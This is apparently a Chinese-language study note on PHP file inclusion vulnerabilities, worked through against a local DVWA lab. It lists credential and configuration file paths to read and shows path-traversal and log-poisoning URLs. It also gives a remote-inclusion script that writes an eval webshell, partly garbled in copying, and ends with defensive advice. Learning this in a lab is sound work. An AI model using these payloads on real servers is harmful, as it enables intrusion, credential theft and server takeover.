文件包含漏洞学习

第一章 文件包含漏洞概述

第一节文件包含

开发人员将需要重复调用的函数写入一个文档,对该文件进行包含时产生的操作,这样编写代码能减少代码冗余,降低代码后期维护难度,保证网站整体风格统一,导航栏,底部footer栏。

第二节产生原因

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。

第三节简单案例

在这里插入图片描述

第四节PHP中文件包含函数

在这里插入图片描述

第二章 文件包含漏洞类型及利用

在这里插入图片描述

第一节本地文件包含(DVWA low)

在这里插入图片描述在这里插入图片描述

[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=file2.php]
在这里插入图片描述
发现:page=xxxx.php包含其他文件
思路:尝试包含其他本地电脑文件
@ 包含系统文件
在这里插入图片描述
@包含上传文件(包含文件的内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么)
在这里插入图片描述
敏感文件默认路径列举

windows系统

路径 含义
C:\boot.ini 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml Iss配置文件
C:\Windows\repair\same 存储window系统初次按照密码
C:\Program Files\mysql\my.ini Mysql配置信息
C:\Program Files\mysql\data\mysql\user.MYD Mysql root密码
C:\Windows\php.ini Php配置信息

Linux/unix系统

路径 含义
/etc/password 账户信息
/etc/shadow 账号密码文件
/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/usr/local/app/php5/lib/php.ini Php相关配置
/etc/httpd/conf/httpd.conf Apache配置信息
/etc/my.conf MySQL配置文件

第二节包含远程文件

前提:php.ini中设置allow_url_fopen(默认)、allow_url_include=On()(php5.2后默认为Off)

在这里插入图片描述在这里插入图片描述在这里插入图片描述

包含远程shell---->蚁剑进行连接
Remoteshell.php

<?php $payload = "<?php @eval(\$_POST['wade']);?>";

m y f i l e = f o p e n ( " s h e l l . p h p " , " w " ) o r d i e ( " U n a b l e " ) ; f w r i t e ( myfile = fopen("shell.php","w") or die("Unable"); fwrite( myfile, p a y l o a d ) ; f c l o s e ( payload); fclose( myfile);
?>
在这里插入图片描述在这里插入图片描述在这里插入图片描述

第三章文件包含漏洞危害

获取敏感信息
执行任意命令
获取服务器权限

第四章文件包含的利用方法

第一节 本地文件包含配合日志文件

第一步 寻找可以传入的参数点
[http://192.168.139.136/DVWA-master/vulnerabilities/xss_r/?name=qwe#]
在这里插入图片描述
第二步 尝试传入php文件
[http://192.168.139.136/DVWA-master/vulnerabilities/xss_r/?name=%3C?php%20phpinfo();?%3E#]
注意{https://blog.csdn.net/qq_41901122/article/details/104574087}
在这里插入图片描述
第三步 使用burp抓包 更改
在这里插入图片描述在这里插入图片描述

第四步 查看日志文件
[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=…/…/…/…/Apache/logs/access.log]

在这里插入图片描述在这里插入图片描述

第二节 本地文件包含配合/proc/self/environ文件

CVE-2018-12613phpmyadmin文件包含漏洞

第三节利用php协议进行文件包含

File:// 访问本地文件系统
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s)URLs
Php:// 访问各个输入/输出流(I/O streams)
Zlib:// 压缩流
Data:// 数据(RFC 2397)
Glob:// 查找匹配的文件路径模式
Phar:// Php归档
Ssh2:// SECURE shell 2
Rar:// RAR
Ogg:// 音频流
Expect:// 处理交互式的流

[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=…//…//…/./phpinfo.php]
在这里插入图片描述
[http://192.168.139.136/DVWA-master/vulnerabilities/fi/?page=file://C:\phpStudy\WWW\phpinfo.php]
在这里插入图片描述

第五章文件包含漏洞的绕过方法

在这里插入图片描述在这里插入图片描述

第六章文件包含漏洞的防御

尽量不使用动态包含,无需情况下设置 allow url includeallow和 url fopen为关闭;
对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录,open_basedir;
严格检查用户输入,参数中不允许出现之类的目录跳转符;
严格检查变量是否初始化;
不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!